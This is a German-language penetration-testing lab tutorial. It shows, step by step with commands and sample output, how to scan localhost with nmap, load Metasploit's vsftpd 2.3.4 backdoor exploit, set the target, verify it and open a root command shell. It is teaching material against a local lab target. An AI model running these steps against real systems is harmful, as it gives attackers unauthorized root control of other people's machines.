Einleitung
In diesem Labor schlüpfen Sie in die Rolle eines Penetrationstesters und lernen, wie Sie das Metasploit Framework nutzen, um eine bekannte Schwachstelle in einem gängigen Dienst auszunutzen. Insbesondere zielen Sie auf vsftpd (Very Secure FTP Daemon) Version 2.3.4 ab, das eine bekannte Backdoor enthält.
Metasploit ist ein leistungsstarkes Open-Source-Penetrationstest-Framework, das Hacking vereinfacht. Es ist ein unverzichtbares Werkzeug für Sicherheitsexperten. Sie werden den Standardprozess des Penetrationstestings befolgen: Scannen des Ziels zur Identifizierung von Diensten, Finden eines geeigneten Exploits, Konfigurieren desselben und Starten des Angriffs, um die Kontrolle über das Zielsystem zu erlangen. Für dieses Labor wird Ihre Zielmaschine die lokale Umgebung (localhost) sein.
Identifizierung eines anfälligen vsftpd-Dienstes
In diesem Schritt führen Sie die Aufklärung durch, die erste Phase jedes Penetrationstests. Ziel ist es, das Ziel zu scannen, um offene Ports zu entdecken und die Versionen der darauf laufenden Dienste zu identifizieren. Diese Informationen sind entscheidend für die Suche nach potenziellen Schwachstellen. Wir werden dafür nmap, ein leistungsstarkes Netzwerk-Scanning-Tool, verwenden.
Öffnen Sie zunächst ein Terminal. Wir werden unsere lokale Maschine scannen, die als Ziel fungiert. Die IP-Adresse für die lokale Maschine ist 127.0.0.1.
Führen Sie den folgenden nmap-Befehl aus, um einen Service-Versions-Scan (-sV) auf dem Ziel durchzuführen:
nmap -sV 127.0.0.1
Nach Abschluss des Scans meldet nmap die offenen Ports und die von ihm identifizierten Dienste. Für dieses Labor sind wir am FTP-Dienst interessiert, der auf Port 21 läuft.
Ihre Ausgabe sollte ähnlich wie diese aussehen. Beachten Sie die Versionsinformationen für den FTP-Dienst.
Starting Nmap 7.80 ( https://nmap.org ) at ...
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0001s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in ... seconds
Die Ausgabe zeigt deutlich, dass vsftpd 2.3.4 auf Port 21 läuft. Diese spezielle Version ist dafür bekannt, eine Backdoor zu enthalten, was sie zu einem idealen Ziel für unseren Exploit macht.
Auswahl des vsftpd_234_backdoor Exploit-Moduls
In diesem Schritt starten Sie das Metasploit Framework und finden das richtige Exploit-Modul, um den vsftpd 2.3.4-Dienst anzugreifen.
Starten Sie zuerst die Metasploit-Konsole. Wir verwenden das Flag -q (quiet), um das Banner zu überspringen und schneller zu starten.
msfconsole -q
Sobald Metasploit geladen ist, sehen Sie die Eingabeaufforderung msf6 >. Nun können Sie nach Exploits suchen, die mit vsftpd zusammenhängen. Verwenden Sie den Befehl search:
search vsftpd
Metasploit zeigt eine Liste der übereinstimmenden Module an. Sie sollten einen Exploit speziell für die Backdoor in vsftpd 2.3.4 sehen.
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes VSFTPD v2.3.4 Backdoor Command Execution
1 auxiliary/scanner/ftp/ftp_version normal No FTP Version Scanner
Das Modul exploit/unix/ftp/vsftpd_234_backdoor ist genau das, was wir brauchen. Es ist als "excellent" eingestuft, was bedeutet, dass es sehr zuverlässig ist. Um dieses Modul zu laden, verwenden Sie den Befehl use, gefolgt vom vollständigen Namen des Moduls oder seiner Nummer aus den Suchergebnissen.
use exploit/unix/ftp/vsftpd_234_backdoor
Nachdem Sie den Befehl ausgeführt haben, ändert sich Ihre Eingabeaufforderung zu msf6 exploit(unix/ftp/vsftpd_234_backdoor) >, was anzeigt, dass das Exploit-Modul nun aktiv ist.
Setzen der RHOSTS-Option auf die Ziel-IP-Adresse
In diesem Schritt konfigurieren Sie das Exploit-Modul. Die meisten Module erfordern, dass Sie Optionen festlegen, wie z. B. die IP-Adresse des Ziels.
Nachdem das Modul vsftpd_234_backdoor geladen ist, können Sie seine Optionen mit dem Befehl show options anzeigen.
show options
Dieser Befehl zeigt eine Tabelle aller verfügbaren Optionen für dieses Modul, ihre aktuellen Einstellungen und ob sie erforderlich sind.
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
Wie Sie sehen können, ist RHOSTS (Remote Hosts) erforderlich, hat aber keinen Wert gesetzt. Sie müssen dies auf die IP-Adresse unserer Zielmaschine setzen, die 127.0.0.1 ist.
Verwenden Sie den Befehl set, um die Option RHOSTS zu konfigurieren:
set RHOSTS 127.0.0.1
Um zu bestätigen, dass die Option korrekt gesetzt wurde, können Sie show options erneut ausführen. Sie werden sehen, dass RHOSTS nun den Wert 127.0.0.1 hat.
Verwenden des check-Befehls zur Überprüfung der Zielverwundbarkeit
In diesem Schritt verwenden Sie eine sichere Methode, um zu testen, ob das Ziel tatsächlich für den ausgewählten Exploit anfällig ist. Metasploit bietet für viele Module einen check-Befehl, mit dem Sie die Verwundbarkeit überprüfen können, ohne einen vollständigen Angriff zu starten. Dies ist nützlich, um Erkennung und Systemabstürze zu vermeiden.
Nachdem das Exploit-Modul mit der IP-Adresse des Ziels konfiguriert wurde, führen Sie einfach den Befehl check aus:
check
Metasploit versucht, den Ziel-Dienst zu sondieren, um festzustellen, ob die Backdoor vorhanden ist. Wenn das Ziel anfällig ist, sehen Sie eine Bestätigungsnachricht.
[+] 127.0.0.1:21 - The target is vulnerable.
Die Meldung [+] The target is vulnerable. bestätigt, dass der vsftpd-Dienst auf 127.0.0.1 die Backdoor aufweist. Sie sind nun bereit, den Exploit zu starten. Wenn das Ziel nicht anfällig wäre, würde es normalerweise melden, dass das Ziel nicht ausnutzbar ist.
Ausführen des Exploits und Erhalten einer Befehlsshell
In diesem Schritt führen Sie den Exploit aus, um unbefugten Zugriff auf das Zielsystem zu erhalten. Da der check-Befehl die Verwundbarkeit des Ziels bestätigt hat, sollte der Exploit erfolgreich sein.
Der Befehl zum Starten des Angriffs lautet exploit. Sie können auch dessen Alias run verwenden.
exploit
Metasploit sendet nun die bösartige Payload an den vsftpd-Dienst. Die Backdoor wird ausgelöst und öffnet eine Befehlsshell auf einem anderen Port (in diesem Fall Port 6200). Metasploit verbindet sich mit dieser neuen Shell und gibt Ihnen direkten Kommandozeilenzugriff auf das Ziel.
Die Ausgabe sieht dann wie folgt aus:
[*] 127.0.0.1:21 - Found the backdoor service on port 6200!
[*] 127.0.0.1:21 - Sending trigger...
[*] Command shell session 1 opened (127.0.0.1:38974 -> 127.0.0.1:6200) at 2023-10-27 10:30:00 -0400
Sie haben nun eine Befehlsshell auf der Zielmaschine! Beachten Sie, dass die Eingabeaufforderung verschwunden ist. Sie können nun Befehle ausführen, als wären Sie direkt auf dem Ziel angemeldet. Überprüfen wir unseren Zugriffsebene, indem wir den Befehl whoami ausführen.
whoami
Die Ausgabe sollte lauten:
root
Dies bestätigt, dass Sie eine Root-Shell erhalten haben, die Ihnen die vollständige Kontrolle über das Zielsystem gibt. Um die Shell zu verlassen und zur Metasploit-Eingabeaufforderung zurückzukehren, geben Sie exit ein.
Zusammenfassung
Herzlichen Glückwunsch zum erfolgreichen Abschluss dieses Labs! Sie haben den grundlegenden Arbeitsablauf eines Penetrationstests mit dem Metasploit Framework kennengelernt.
In diesem Lab haben Sie:
nmapverwendet, um Aufklärung zu betreiben und einen anfälligenvsftpd 2.3.4-Dienst zu identifizieren.- Die Metasploit-Konsole gestartet und nach einem relevanten Exploit gesucht.
- Das
vsftpd_234_backdoor-Exploit-Modul ausgewählt und konfiguriert, indem die OptionRHOSTSgesetzt wurde. - Die Verwundbarkeit des Ziels sicher mit dem
check-Befehl überprüft. - Den
exploit-Befehl ausgeführt, um eine Befehlsshell auf Root-Ebene auf dem Zielsystem zu erhalten.
Diese Übung zeigt, wie eine einfache, ungepatchte Schwachstelle zu einer vollständigen Systemkompromittierung führen kann. Sie unterstreicht die Bedeutung der Aktualisierung von Software und die Leistungsfähigkeit von Tools wie Metasploit sowohl für ethische Hacker als auch für böswillige Angreifer.


